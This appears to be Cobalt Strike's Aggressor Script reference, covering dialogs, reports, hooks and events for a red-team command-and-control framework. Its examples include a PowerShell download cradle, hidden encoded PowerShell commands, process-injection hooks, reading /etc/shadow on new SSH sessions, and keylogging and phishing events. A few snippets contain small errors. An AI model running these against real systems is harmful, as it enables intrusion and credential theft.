Aggressor Script has an API to build custom dialogs. &dialog creates a dialog. A dialog consists of rows and buttons. A row is a label, a row name, a GUI component to take input, and possibly a helper to set the input. Buttons close the dialog and trigger a callback function. The argument to the callback function is a dictionary mapping each row’s name to the value in its GUI component that takes input. Use &dialog_show to show a dialog, once it’s built.

Here’s a dialog that looks like Attacks → Web Drive-by → Host File from Cobalt Strike:

sub callback {
   println("Dialog was actioned. Button: $2 Values: $3");
}
 
$dialog = dialog("Host File", %(uri => "/download/file.ext", port => 80, mimetype => "automatic"), &call);
dialog_description($dialog, "Host a file through Cobalt Strike's web server");
 
drow_file($dialog, "file", "File:");
drow_text($dialog, "uri",  "Local URI:");
drow_text($dialog, "host", "Local Host:", 20);
drow_text($dialog, "port", "Local Port:");
drow_combobox($dialog, "mimetype", "Mime Type:", @("automatic", "application/octet-stream", 
                       "text/html", "text/plain")); 
 
dbutton_action($dialog, "Launch");
dbutton_help($dialog, "http://forum.cobaltstrike.net/help-host-file");
 
dialog_show($dialog);

Let’s walk through this example: The &dialog call creates the Host File dialog. The second parameter to &dialog is a dictionary that sets default values for the uri , port , and mimetype rows. The third parameter is a reference to a callback function. Aggressor Script will call this function when the user clicks the Launch button. &dialog_description places a description at the top of the dialog. This dialog has five rows. The first row, made by &drow_file, has the label “File:”, the name “file”, and it takes input as a text field. There is a helper button to choose a file and populate the text field. The others rows are conceptually similar. &dbutton_action and &dbutton_help create buttons that are centered at the bottom of the dialog. &dialog_show shows the dialog.

Here’s the dialog:

as_other-topics_dialog

Custom Reports

Cobalt Strike uses a domain-specific language to define its reports. This language is similar to Aggressor Script but does not have access to most of its APIs. The report generation process happens in its own script engine isolated from your client.

The report script engine has access to a data aggregation API and a few primitives to specify the structure of a Cobalt Strike report.

The default.rpt file defines the default reports in Cobalt Strike.

Loading Reports

Go to Cobalt StrikePreferencesReports to load a custom report. Press the Folder icon and select a .rpt file. Press Save . You should now see your custom report under the Reporting menu in Cobalt Strike.

as_cust-rpts

Report Errors

If Cobalt Strike had trouble with your report (e.g., a syntax error, runtime error, etc.) this will show up in the script console. Go to ViewScript Console to see these messages.

“Hello World” Report

Here’s a simple “Hello World” report. This report doesn’t represent anything special. It merely shows how to get started with a custom report.

# default description of our report [the user can change this].
describe("Hello Report", "This is a test report.");

# define the Hello Report
report "Hello Report" {
   # the first page is the cover page of our report.
   page "first" {
      # title heading
      h1($1['long']);
 
      # today's date/time in an italicized format
      ts();
 
      # a paragraph [could be the default...
      p($1['description']);
   }
 
   # this is the rest of the report
   page "rest" {
      # hello world paragraph
      p("Hello World!");
   }
}

Aggressor Script defines new reports with the report keyword followed by a report name and a block of code. Use the page keyword within a report block to define which page template to use. Content for a page template may span multiple pages. The first page template is the cover of Cobalt Strike’s reports. This example uses &h1 to print a title heading. The &ts function prints a date/time stamp for the report. And the &p function prints a paragraph.

The &describe function sets a default description of the report. The user may edit this when they generate the report. This information is passed to the report as part of the report metadata in the $1 parameter. The $1 parameter is a dictionary with information about the user’s preferences for the report.

Data Aggregation API

Cobalt Strike Reports depend on the Data Aggregation API to source their information. This API provides you a merged view of data from all team server’s your client is currently connected to. The Data Aggregation API allows reports to provide a comprehensive report of the assessment activities. These functions begin with the ag prefix (e.g., &agTargets). The report engine passes a data aggregate model when it generates a report. This model is the $3 parameter.

Compatibility Guide

This page documents Cobalt Strike changes version-to-version that may affect compatability with your current Aggressor Scripts. In general, it’s our goal that a script written for Cobalt Strike 3.0 is forward-compatible with future 3.x releases. Major product releases (e.g., 3.0 → 4.0) do give us some license to revisit APIs and break some of this compatability. Sometimes, a compatability breaking API change is inevitable. These changes are documented here.

Cobalt Strike 4.x

  1. Cobalt Strike 4.x made major changes to Cobalt Strike’s listener management systems. These changes included name changes for several payloads. Scripts that analyze the listener payload name should note these changes:
  • windows/beacon_smb/bind_pipe is now windows/beacon_bind_pipe
  • windows/beacon_tcp/bind_tcp is now windows/beacon_bind_tcp
  1. Cobalt Strike 4.x moves away from payload stagers. Stageless payloads are preferred in all post-ex workflows. Where stageless isn’t possible; use an explicit stager that works with all payloads.The jump psexec_psh lateral movement attack is a good example of the above. This automation generates a bind_pipe stager to fit within the size constraints of a PowerShell one-liner. All payloads are sent through this staging process; regardless of their configuration.This convention change will break some privilege escalation scripts that follow the pre-4.x patterns in the Elevate Kit. &bstage is now gone as its underlying functionality was changed too much to include in Cobalt Strike 4.x. Where possible, privilege escalation scripts should use &payload to export a payload, run it via the technique, and use &beacon_link to connect to the payload. If a stager is required; use &stager_bind_tcp to export a TCP stager and &beacon_stage_tcp to stage a payload through this stager.

  2. Cobalt Strike 4.x removes the following Aggressor Script functions:

Function Replacement Reason
&bbypassuac &belevate &belevate is the preferred function to spawn an elevated session on the local system
&bpsexec_psh &bjump &bjump is the preferred function to spawn a session on a remote target
&brunasadmin &belevate_command runasadmin was expanded to allow multiple options to run a command in an elevated context
&bstage multiple functions &bstage would stage AND link when needed. Bind staging is now explicit with &beacon_stage_tcp or &beacon_stage_pipe. &beacon_link is the general “link to this listener” step.
&bwdigest &bmimikatz Use &bmimikatz to run this command… if you really want to. :slight_smile:
&bwinrm &bjump, winrm or winrm64 &bjump is the preferred function to spawn a session on a remote target
&bwmi No stageless WMI lateral movement option exists in CS 4.x
  1. Cobalt Strike 4.x deprecates the following Aggressor Script functions:
Function Replacement Reason
&artifact &artifact_stager Consistent arguments; consistent naming convetion
&artifact_stageless &artifact_payload Consistent naming; no need for a callback in Cobalt Strike 4.x
&drow_proxyserver Proxy config is now tied to the listener and not needed when exporting a payload stage.
&drow_listener_smb &drow_listener_stage These functions are now equivalent to eachother
&listener_create &listener_create_ext A lot more options required a change in how arguments are passed
&powershell &powershell_command, &artifact_stager Consistency; de-emphasis on PowerShell one-liners in API
&powershell_encode_oneliner &powershell_command Clearer naming.
&powershell_encode_stager &powershell_command, &artifact_general Consistency; clearer separation of parts in API
&shellcode &stager Consistent arguments; consistent naming

Hooks

Hooks allow Aggressor Script to intercept and change Cobalt Strike behavior.

APPLET_SHELLCODE_FORMAT

Format shellcode before it’s placed on the HTML page generated to serve the Signed or Smart Applet Attacks. See User-driven Web Drive-by Attacks .

Applet Kit

This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help → Arsenal).

Example

set APPLET_SHELLCODE_FORMAT {
   return base64_encode($1);
}

BEACON_RDLL_GENERATE

Hook to allow users to replace the Cobalt Strike reflective loader in a beacon with a User Defined Reflective Loader. The reflective loader can be extracted from a compiled object file and plugged into the Beacon Payload DLL. See User Defined Reflective DLL Loader .

Arguments

$1 - Beacon payload file name

$2 - Beacon payload (dll binary)

$3 - Beacon architecture (x86/x64)

Returns

The Beacon executable payload updated with the User Defined reflective loader. Return $null to use the default Beacon executable payload.

Example

sub generate_my_dll {
   local('$handle $data $loader $temp_dll');

   # ---------------------------------------------------------------------
   # Load an Object File that contains a Reflective Loader.
   # The architecture ($3) is used in the path.
   # ---------------------------------------------------------------------
   # $handle = openf("/mystuff/Refloaders/bin/MyReflectiveLoader. $+ $3 $+ .o");
   $handle = openf("mystuff/Refloaders/bin/MyReflectiveLoader. $+ $3 $+ .o");

   $data   = readb($handle, -1);
   closef($handle);

   # warn("Object File Length: " . strlen($data));

   if (strlen($data) eq 0) {
      warn("Error loading reflective loader object file.");
      return $null;
   }

   # ---------------------------------------------------------------------
   # extract loader from BOF.
   # ---------------------------------------------------------------------
   $loader = extract_reflective_loader($data);

   # warn("Reflective Loader Length: " . strlen($loader));

   if (strlen($loader) eq 0) {
      warn("Error extracting reflective loader.");
      return $null;
   }

   # ---------------------------------------------------------------------
   # Replace the beacons default reflective loader with '$loader'.
   # ---------------------------------------------------------------------
   $temp_dll = setup_reflective_loader($2, $loader);

   # ---------------------------------------------------------------------
   # TODO: Additional Customization of the PE...
   # - Use 'pedump' function to get information for the updated DLL.
   # - Use these convenience functions to perform transformations on the DLL:
   #       pe_remove_rich_header
   #       pe_insert_rich_header
   #       pe_set_compile_time_with_long
   #       pe_set_compile_time_with_string
   #       pe_set_export_name
   #       pe_update_checksum
   # - Use these basic functions to perform transformations on the DLL:
   #       pe_mask
   #       pe_mask_section
   #       pe_mask_string
   #       pe_patch_code
   #       pe_set_string
   #       pe_set_stringz
   #       pe_set_long
   #       pe_set_short
   #       pe_set_value_at
   #       pe_stomp
   # ---------------------------------------------------------------------

   # ---------------------------------------------------------------------
   # Give back the updated beacon DLL.
   # ---------------------------------------------------------------------
   return $temp_dll;
}

# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# ------------------------------------
set BEACON_RDLL_GENERATE {
   warn("Running 'BEACON_RDLL_GENERATE' for DLL " . $1 . " with architecture " . $3);
   return generate_my_dll($1, $2, $3);
}

BEACON_RDLL_GENERATE_LOCAL

The BEACON_RDLL_GENERATE_LOCAL hook is very similar to BEACON_RDLL_GENERATE with additional arguments.

Arguments

$1 - Beacon payload file name

$2 - Beacon payload (dll binary)

$3 - Beacon architecture (x86/x64)

$4 - Parent beacon ID

$5 - GetModuleHandleA pointer

$6 - GetProcAddress pointer

Example


# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# $4 = parent Beacon ID
# $5 = GetModuleHandleA pointer
# $6 = GetProcAddress pointer
# ------------------------------------
set BEACON_RDLL_GENERATE_LOCAL {
   warn("Running 'BEACON_RDLL_GENERATE_LOCAL' for DLL " . 
   $1 ." with architecture " . $3 . " Beacon ID " . $4 . " GetModuleHandleA "
   $5 . " GetProcAddress " . $6);
   return generate_my_dll($1, $2, $3);
}

Also See

BEACON_RDLL_GENERATE

BEACON_RDLL_SIZE

The BEACON_RDLL_SIZE hook allows the use of beacons with more space reserved for User Defined Reflective loaders. The alternate beacons are used in the BEACON_RDLL_GENERATE and BEACON_RDLL_GENERATE_LOCAL hooks. The original/default space reserved for reflective loaders is 5KB.

Overriding this setting will generate beacons that are too large for the placeholders in standard artifacts. It is very likely to require customized changes in an artifact kit to expand reserved payload space. See the documentation in the artifact kit provided by Cobalt Strike.

Customized “stagesize” settings are documented in “build.sh” and “script.example”. See User Defined Reflective DLL Loader .

Arguments

=ARG $1 - Beacon payload file name

=ARG $2 - Beacon architecture (x86/x64)

Returns

The size in KB for the Reflective Loader reserved space in beacons. Valid values are “0”, “5”, “100”.

“0” is the default and will use the standard beacons (same as 5).

“5” uses standard beacons with 5KB reserved space for reflective loaders.

“100” uses larger beacons with 100KB reserved space for reflective loaders.

Example

# ------------------------------------
# $1 = DLL file name
# $2 = arch
# ------------------------------------
set BEACON_RDLL_SIZE {
   warn("Running 'BEACON_RDLL_SIZE' for DLL " . $1 . " with architecture " . $2);
   return "100";
}

BEACON_SLEEP_MASK

Update a Beacon payload with a User Defined Sleep Mask

Arguments

$1 - beacon type (default, smb, tcp)

$2 - arch

Sleep Mask Kit

This hook is demonstrated in the The Sleep Mask Kit .

EXECUTABLE_ARTIFACT_GENERATOR

Control the EXE and DLL generation for Cobalt Strike.

Arguments

$1 - the artifact file (e.g., artifact32.exe)

$2 - shellcode to embed into an EXE or DLL

Artifact Kit

This hook is demonstrated in the The Artifact Kit .

HTMLAPP_EXE

Controls the content of the HTML Application User-driven (EXE Output) generated by Cobalt Strike.

Arguments

$1 - the EXE data

$2 - the name of the .exe

Resource Kit

This hook is demonstrated in the The Resource Kit .

Example

set HTMLAPP_EXE {
   local('$handle $data');
   $handle = openf(script_resource("template.exe.hta"));
   $data   = readb($handle, -1);
   osef($handle);

   $data   = strrep($data, '##EXE##', transform($1, "hex"));
   $data   = strrep($data, '##NAME##', $2);

   return $data;
}

HTMLAPP_POWERSHELL

Controls the content of the HTML Application User-driven (PowerShell Output) generated by Cobalt Strike.

Arguments

$1 - the PowerShell command to run

Resource Kit

This hook is demonstrated in the The Resource Kit .

Example

set HTMLAPP_POWERSHELL {
   local('$handle $data');
   $handle = openf(script_resource("template.psh.hta"));
   $data   = readb($handle, -1);
   closef($handle);
   
   # push our command into the script
   return strrep($data, "%%DATA%%", $1);
}

LISTENER_MAX_RETRY_STRATEGIES

Return a string that contains the list of definitions which is separated with a ‘\n’ character. The definition needs to match a syntax of exit-[max_attempts]-[increase_attempts]-[duration][m,h,d].

For example exit-10-5-5m will exit beacon after 10 failed attempts and will increase sleep time after five failed attempts to 5 minutes. The sleep time will not be updated if the current sleep time is greater than the specified duration value. The sleep time will be affected by the current jitter value. On a successful connection the failed attempts count will be reset to zero and the sleep time will be reset to the prior value.

Return $null to use the default list.

Example

Use a hard coded list of strategies
set LISTENER_MAX_RETRY_STRATEGIES {
   local('$out');
   $out .= "exit-50-25-5m\n";
   $out .= "exit-100-25-5m\n";
   $out .= "exit-50-25-15m\n";
   $out .= "exit-100-25-15m\n";
 
   return $out;
}
# Use loops to build a list of strategies
set LISTENER_MAX_RETRY_STRATEGIES {
  local('$out');
 
  @attempts = @(50, 100);
  @durations = @("5m", "15m");
  $increase = 25;
 
  foreach $attempt (@attempts)
  {
    foreach $duration (@durations)
    {
      $out .= "exit $+ - $+ $attempt $+ - $+ $increase $+ - $+ $duration\n";
    }
  }
 
  return $out;
} 

POWERSHELL_COMMAND

Change the form of the powershell comamnd run by Cobalt Strike’s automation. This affects jump psexec_psh, powershell, and [host] → Access → One-liner.

Arguments

$1 - the PowerShell command to run.

$2 - true|false the command is run on a remote target.

Resource Kit

This hook is demonstrated in the The Resource Kit .

Example

set POWERSHELL_COMMAND {
   local('$script');
   $script = transform($1, "powershell-base64");
   
   # remote command (e.g., jump psexec_psh)
   if ($2) {
      return "powershell -nop -w hidden -encodedcommand $script";
   }
   # local command
   else {
      return "powershell -nop -exec bypass -EncodedCommand $script";
   }
}

POWERSHELL_COMPRESS

A hook used by the resource kit to compress a PowerShell script. The default uses gzip and returns a deflator script.

Resource Kit

This hook is demonstrated in the The Resource Kit .

Arguments

$1 - the script to compress

POWERSHELL_DOWNLOAD_CRADLE

Change the form of the PowerShell download cradle used in Cobalt Strike’s post-ex automation. This includes jump winrm|winrm64, [host] → Access → One Liner, and powershell-import.

Arguments

$1 - the URL of the (localhost) resource to reach

Resource Kit

This hook is demonstrated in the The Resource Kit .

Example

set POWERSHELL_DOWNLOAD_CRADLE {
   return "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')";
}

PROCESS_INJECT_EXPLICIT

Hook to allow users to define how the explicit process injection technique is implemented when executing post exploitation commands using a Beacon Object File (BOF).

Arguments

$1- Beacon ID

$2- memory injectable dll (position-independent code)

$3- the PID to inject into

$4- offset to jump to

$5- x86/x64 - memory injectable DLL arch

Returns

Return a non empty value when defining your own explicit process injection technique.

Return $null to use the default explicit process injection technique.

Post Exploitation Jobs

The following post exploitation commands support the PROCESS_INJECT_EXPLICIT hook. The Command column displays the command to be used in the Beacon window, The Aggressor Script column displays the aggressor script function to be used in scripts, and the UI column displays which menu option to use.

Additional Information

  • The [Process Browser] interface is accessed by [beacon] → Explore → Process List. There is also a multi version of this interface which is accessed by selecting multiple sessions and using the same UI menu. When in the Process Browser use the buttons to perform additional commands on the selected process.
  • The chromedump, dcsync, hashdump, keylogger, logonpasswords, mimikatz, net, portscan, printscreen, pth, screenshot, screenwatch, ssh, and ssh-key commands also have a fork&run version. To use the explicit version requires the pid and architecture arguments.
  • For the net and &bnet command the ‘domain’ command will not use the hook.

Job Types

Command Aggressor Script UI
browserpivot &bbrowserpivot [beacon] → Explore → Browser Pivot
chromedump
dcsync &bdcsync
dllinject &bdllinject
hashdump &bhashdump
inject &binject [Process Browser] → Inject
keylogger &bkeylogger [Process Browser] → Log Keystrokes
logonpasswords &blogonpasswords
mimikatz &bmimikatz
&bmimikatz_small
net &bnet
portscan &bportscan
printscreen &bprintscreen
psinject &bpsinject
pth &bpassthehash
screenshot &bscreenshot [Process Browser] → Screenshot (Yes)
screenwatch &bscreenwatch [Process Browser] → Screenshot (No)
shinject &bshinject
ssh &bssh
ssh-key &bssh_key

Example

# Hook to allow the user to define how the explicit injection technique
# is implemented when executing post exploitation commands.
# $1 = Beacon ID
# $2 = memory injectable dll for the post exploitation command
# $3 = the PID to inject into
# $4 = offset to jump to
# $5 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_EXPLICIT {
   local('$barch $handle $data $args $entry');
 
   # Set the architecture for the beacon's session
   $barch = barch($1);
 
   # read in the injection BOF based on barch
   warn("read the BOF: inject_explicit. $+ $barch $+ .o");
   $handle = openf(script_resource("inject_explicit. $+ $barch $+ .o"));
   $data = readb($handle, -1);
   closef($handle);
 
   # pack our arguments needed for the BOF
   $args = bof_pack($1, "iib", $3, $4, $2);
 
   btask($1, "Process Inject using explicit injection into pid $3");
 
   # Set the entry point based on the dll's arch
   $entry = "go $+ $5";
   beacon_inline_execute($1, $data, $entry, $args);
 
   # Let the caller know the hook was implemented.
   return 1;
}

PROCESS_INJECT_SPAWN

Hook to allow users to define how the fork and run process injection technique is implemented when executing post exploitation commands using a Beacon Object File (BOF).

Arguments

$1 - Beacon ID

$2 - memory injectable dll (position-independent code)

$3 - true/false ignore process token

$4 - x86/x64 - memory injectable DLL arch

Returns

Return a non empty value when defining your own fork and run process injection technique.

Return $null to use the default fork and run injection technique.

Post Exploitation Jobs

The following post exploitation commands support the PROCESS_INJECT_SPAWN hook. The Command column displays the command to be used in the Beacon window, The Aggressor Script column displays the aggressor script function to be used in scripts, and the UI column displays which menu option to use.

Additional Information

  • The elevate, runasadmin, &belevate, &brunasadmin and [beacon] → Access → Elevate commands will only use the PROCESS_INJECT_SPAWN hook when the specified exploit uses one of the listed aggressor script functions in the table, for example &bpowerpick.
  • For the net and &bnet command the ‘domain’ command will not use the hook.
  • The ‘(use a hash)’ note means select a credential that references a hash.

Job Types

Command Aggressor Script UI
chromedump
dcsync &bdcsync
elevate &belevate [beacon] → Access → Elevate
[beacon] → Access → Golden Ticket
hashdump &bhashdump [beacon] → Access → Dump Hashes
keylogger &bkeylogger
logonpasswords &blogonpasswords [beacon] → Access → Run Mimikatz
[beacon] → Access → Make Token (use a hash)
mimikatz &bmimikatz
&bmimikatz_small
net &bnet [beacon] → Explore → Net View
portscan &bportscan [beacon] → Explore → Port Scan
powerpick &bpowerpick
printscreen &bprintscreen
pth &bpassthehash
runasadmin &brunasadmin
[target] → Scan
screenshot &bscreenshot [beacon] → Explore → Screenshot
screenwatch &bscreenwatch
ssh &bssh [target] → Jump → ssh
ssh-key &bssh_key [target] → Jump → ssh-key
[target] → Jump → [exploit] (use a hash)

Example

# ------------------------------------
# $1 = Beacon ID
# $2 = memory injectable dll (position-independent code)
# $3 = true/false ignore process token
# $4 = x86/x64 - memory injectable DLL arch
# ------------------------------------
set PROCESS_INJECT_SPAWN {
   local('$barch $handle $data $args $entry');
 
   # Set the architecture for the beacon's session
   $barch = barch($1);
 
   # read in the injection BOF based on barch
   warn("read the BOF: inject_spawn. $+ $barch $+ .o");
   $handle = openf(script_resource("inject_spawn. $+ $barch $+ .o"));
   $data = readb($handle, -1);
   closef($handle);
 
   # pack our arguments needed for the BOF
   $args = bof_pack($1, "sb", $3, $2);
   btask($1, "Process Inject using fork and run");
 
   # Set the entry point based on the dll's arch
   $entry = "go $+ $4";
   beacon_inline_execute($1, $data, $entry, $args);
 
   # Let the caller know the hook was implemented.
   return 1;
}

PSEXEC_SERVICE

Set the service name used by jump psexec|psexec64|psexec_psh and psexec.

Example

set PSEXEC_SERVICE {
   return "foobar";
}

PYTHON_COMPRESS

Compress a Python script generated by Cobalt Strike.

Arguments

$1 - the script to compress

Resource Kit

This hook is demonstrated in the The Resource Kit .

Example

set PYTHON_COMPRESS {
   return "import base64; exec base64.b64decode(\"" . base64_encode($1) . "\")";
}

RESOURCE_GENERATOR

Control the format of the VBS template used in Cobalt Strike.

Resource Kit

This hook is demonstrated in the The Resource Kit .

Arguments

$1 - the shellcode to inject and run

RESOURCE_GENERATOR_VBS

Controls the content of the HTML Application User-driven (EXE Output) generated by Cobalt Strike.

Arguments

$1 - the EXE data

$2 - the name of the .exe

Resource Kit

This hook is demonstrated in the The Resource Kit .

Example

set HTMLAPP_EXE {
   local('$handle $data');
   $handle = openf(script_resource("template.exe.hta"));
   $data   = readb($handle, -1);
   closef($handle);

   $data   = strrep($data, '##EXE##', transform($1, "hex"));
   $data   = strrep($data, '##NAME##', $2);

   return $data;
}

SIGNED_APPLET_MAINCLASS

Specify a Java Applet file to use for the Java Signed Applet Attack. See Java Signed Applet Attack .

Applet Kit

This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help → Arsenal).

Example

set SIGNED_APPLET_MAINCLASS {
   return "Java.class";
}

SIGNED_APPLET_RESOURCE

Specify a Java Applet file to use for the Java Signed Applet Attack. See Java Signed Applet Attack .

Applet Kit

This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help → Arsenal).

Example

set SIGNED_APPLET_RESOURCE {
   return script_resource("dist/applet_signed.jar");
}

SMART_APPLET_MAINCLASS

Specify the MAIN class of the Java Smart Applet Attack. See Java Smart Applet Attack .

Applet Kit

This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help → Arsenal).

Example

set SMART_APPLET_MAINCLASS {
   return "Java.class";
}

SMART_APPLET_RESOURCE

Specify a Java Applet file to use for the Java Smart Applet Attack. See Java Smart Applet Attack .

Applet Kit

This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help → Arsenal).

Example

set SMART_APPLET_RESOURCE {
   return script_resource("dist/applet_rhino.jar");
}

Events

These are the events fired by Aggressor Script.

*

This event fires whenever any Aggressor Script event fires.

Arguments

$1 - the original event name

... - the arguments to the event

Example

# event spy script
on * {
   println("[ $+ $1 $+ ]: " . subarray(@_, 1));
}

beacon_checkin

Fired when a Beacon checkin acknowledgement is posted to a Beacon’s console.

Arguments

$1 - the ID of the beacon

$2 - the text of the message

$3 - when this message occurred

beacon_error

Fired when an error is posted to a Beacon’s console.

Arguments

$1 - the ID of the beacon

$2 - the text of the message

$3 - when this message occurred

beacon_indicator

Fired when an indicator of compromise notice is posted to a Beacon’s console.

Arguments

$1 - the ID of the beacon

$2 - the user responsible for the input

$3 - the text of the message

$4 - when this message occurred

beacon_initial

Fired when a Beacon calls home for the first time.

Arguments

$1 - the ID of the beacon that called home.

Example

on beacon_initial {
   # list network connections
   bshell($1, "netstat -na | findstr \"ESTABLISHED\"");
 
   # list shares
   bshell($1, "net use");
 
   # list groups
   bshell($1, "whoami /groups");
}

beacon_initial_empty

Fired when a DNS Beacon calls home for the first time. At this point, no metadata has been exchanged.

Arguments

$1 - the ID of the beacon that called home.

Example

on beacon_initial_empty {
   binput($1, "[Acting on new DNS Beacon]");
 
   # change the data channel to DNS TXT
   bmode($1, "dns-txt");
 
   # request the Beacon checkin and send its metadata
   bcheckin($1);
}

beacon_input

Fired when an input message is posted to a Beacon’s console.

Arguments

$1 - the ID of the beacon

$2 - the user responsible for the input

$3 - the text of the message

$4 - when this message occurred

beacon_mode

Fired when a mode change acknowledgement is posted to a Beacon’s console.

Arguments

$1 - the ID of the beacon

$2 - the text of the message

$3 - when this message occurred

beacon_output

Fired when output is posted to a Beacon’s console.

Arguments

$1 - the ID of the beacon

$2 - the text of the message

$3 - when this message occurred

beacon_output_alt

Fired when (alternate) output is posted to a Beacon’s console. What makes for alternate output? It’s just different presentation from normal output.

Arguments

$1 - the ID of the beacon

$2 - the text of the message

$3 - when this message occurred

beacon_output_jobs

Fired when jobs output is sent to a Beacon’s console.

Arguments

$1 - the ID of the beacon

$2 - the text of the jobs output

$3 - when this message occurred

beacon_output_ls

Fired when ls output is sent to a Beacon’s console.

Arguments

$1 - the ID of the beacon

$2 - the text of the ls output

$3 - when this message occurred

beacon_output_ps

Fired when ps output is sent to a Beacon’s console.

Arguments

$1 - the ID of the beacon

$2 - the text of the ps output

$3 - when this message occurred

beacon_tasked

Fired when a task acknowledgement is posted to a Beacon’s console.

Arguments

$1 - the ID of the beacon

$2 - the text of the message

$3 - when this message occurred

beacons

Fired when the team server sends over fresh information on all of our Beacons. This occurs about once each second.

Arguments

$1 - an array of dictionary objects with metadata for each Beacon.

disconnect

Fired when this Cobalt Strike becomes disconnected from the team server.

event_action

Fired when a user performs an action in the event log. This is similar to an action on IRC (the /me command)

Arguments

$1 - who the message is from

$2 - the contents of the message

$3 - the time the message was posted

event_beacon_initial

Fired when an initial beacon message is posted to the event log.

Arguments

$1 - the contents of the message

$2 - the time the message was posted

event_join

Fired when a user connects to the team server

Arguments

$1 - who joined the team server

$2 - the time the message was posted

event_newsite

Fired when a new site message is posted to the event log.

Arguments

$1 - who setup the new site

$2 - the contents of the new site message

$3 - the time the message was posted

event_notify

Fired when a message from the team server is posted to the event log.

Arguments

$1 - the contents of the message

$2 - the time the message was posted

event_nouser

Fired when the current Cobalt Strike client tries to interact with a user who is not connected to the team server.

Arguments

$1 - who is not present

$2 - the time the message was posted

event_private

Fired when a private message is posted to the event log.

Arguments

$1 - who the message is from

$2 - who the message is directed to

$3 - the contents of the message

$4 - the time the message was posted

event_public

Fired when a public message is posted to the event log.

Arguments

$1 - who the message is from

$2 - the contents of the message

$3 - the time the message was posted

event_quit

Fired when someone disconnects from the team server.

Arguments

$1 - who left the team server

$2 - the time the message was posted

heartbeat_10m

Fired every ten minutes

heartbeat_10s

Fired every ten seconds

heartbeat_15m

Fired every fifteen minutes

heartbeat_15s

Fired every fifteen seconds

heartbeat_1m

Fired every minute

heartbeat_1s

Fired every second

heartbeat_20m

Fired every twenty minutes

heartbeat_30m

Fired every thirty minutes

heartbeat_30s

Fired every thirty seconds

heartbeat_5m

Fired every five minutes

heartbeat_5s

Fired every five seconds

heartbeat_60m

Fired every sixty minutes

keylogger_hit

Fired when there are new results reported to the web server via the cloned site keystroke logger.

Arguments

$1 - external address of visitor

$2 - reserved

$3 - the logged keystrokes

$4 - the phishing token for these recorded keystrokes.

keystrokes

Fired when Cobalt Strike receives keystrokes

Arguments

$1 - a dictionary with information about the keystrokes.

Key Value
bid Beacon ID for session keystrokes originated from
data keystroke data reported in this batch
id identifier for this keystroke buffer
session desktop session from keystroke logger
title last active window title from keystroke logger
user username from keystroke logger
when timestamp of when these results were generated

Example

on keystrokes {
   if ("*Admin*" iswm $1["title"]) {
      blog($1["bid"], "Interesting keystrokes received. 
      Go to \c4View -> Keystrokes\o and look for the green buffer.");
      highlight("keystrokes", @($1), "good");
   }
}

profiler_hit

Fired when there are new results reported to the System Profiler.

Arguments

$1 - external address of visitor

$2 - de-cloaked internal address of visitor (or “unknown”)

$3 - visitor’s User-Agent

$4 - a dictionary containing the applications.

$5 - the phishing token of the visitor (use [&tokenToEmail]

ready

Fired when this Cobalt Strike client is connected to the team server and ready to act.

screenshots

Fired when Cobalt Strike receives a screenshot.

Arguments

$1 - a dictionary with information about the screenshot.

Key Value
bid Beacon ID for session screenshot originated from
data raw screenshot data (this is a .jpg file)
id identifier for this screenshot
session desktop session reported by screenshot tool
title active window title from screenshot tool
user username from screenshot tool
when timestamp of when this screenshot was received

Example

# watch for any screenshots where someone is banking and
# redact it from the user-interface.
on screenshots {
	local('$title');
	$title = lc($1["title"]);	
	
	if ("*bankofamerica*" iswm $title) {
		redactobject($1["id"]);
	}
	else if ("jpmc*" iswm $title) {
		redactobject($1["id"]);
	}
}

sendmail_done

Fired when a phishing campaign completes

Arguments

$1 - the campaign ID

sendmail_post

Fired after a phish is sent to an email address.

Arguments

$1 - the campaign ID

$2 - the email we’re sending a phish to

$3 - the status of the phish (e.g., SUCCESS)

$4 - the message from the mail server

sendmail_pre

Fired before a phish is sent to an email address.

Arguments

$1 - the campaign ID

$2 - the email we’re sending a phish to

sendmail_start

Fired when a new phishing campaign kicks off.

Arguments

$1 - the campaign ID

$2 - number of targets

$3 - local path to attachment

$4 - the bounce to address

$5 - the mail server string

$6 - the subject of the phishing email

$7 - the local path to the phishing template

$8 - the URL to embed into the phish

ssh_checkin

Fired when an SSH client checkin acknowledgement is posted to an SSH console.

Arguments

$1 - the ID of the session

$2 - the text of the message

$3 - when this message occurred

ssh_error

Fired when an error is posted to an SSH console.

Arguments

$1 - the ID of the session

$2 - the text of the message

$3 - when this message occurred

ssh_indicator

Fired when an indicator of compromise notice is posted to an SSH console.

Arguments

$1 - the ID of the session

$2 - the user responsible for the input

$3 - the text of the message

$4 - when this message occurred

ssh_initial

Fired when an SSH session is seen for the first time.

Arguments

$1 - the ID of the session

Example

on ssh_initial {
   if (-isadmin $1) {
      bshell($1, "cat /etc/shadow");
   }
}

ssh_input

Fired when an input message is posted to an SSH console.

Arguments

$1 - the ID of the session

$2 - the user responsible for the input

$3 - the text of the message

$4 - when this message occurred

ssh_output

Fired when output is posted to an SSH console.

Arguments

$1 - the ID of the session

$2 - the text of the message

$3 - when this message occurred

ssh_output_alt

Fired when (alternate) output is posted to an SSH console. What makes for alternate output? It’s just different presentation from normal output.

Arguments

$1 - the ID of the session

$2 - the text of the message

$3 - when this message occurred

ssh_tasked

Fired when a task acknowledgement is posted to an SSH console.

Arguments

$1 - the ID of the session

$2 - the text of the message

$3 - when this message occurred

web_hit

Fired when there’s a new hit on Cobalt Strike’s web server.

Arguments

$1 - the method (e.g., GET, POST)

$2 - the requested URI

$3 - the visitor’s address

$4 - the visitor’s User-Agent string

$5 - the web server’s response to the hit (e.g., 200)

$6 - the size of the web server’s response

$7 - a description of the handler that processed this hit.

$8 - a dictionary containing the parameters sent to the web server

$9 - the time when the hit took place.

Popup Hooks

he following popup hooks are available in Cobalt Strike:

Hook Where Arguments
aggressor Cobalt Strike Menu
attacks Attacks Menu
beacon [session] $1 = selected beacon IDs (array)
beacon_top [session] $1 = selected beacon IDs (array)
beacon_bottom [session] $1 = selected beacon IDs (array)
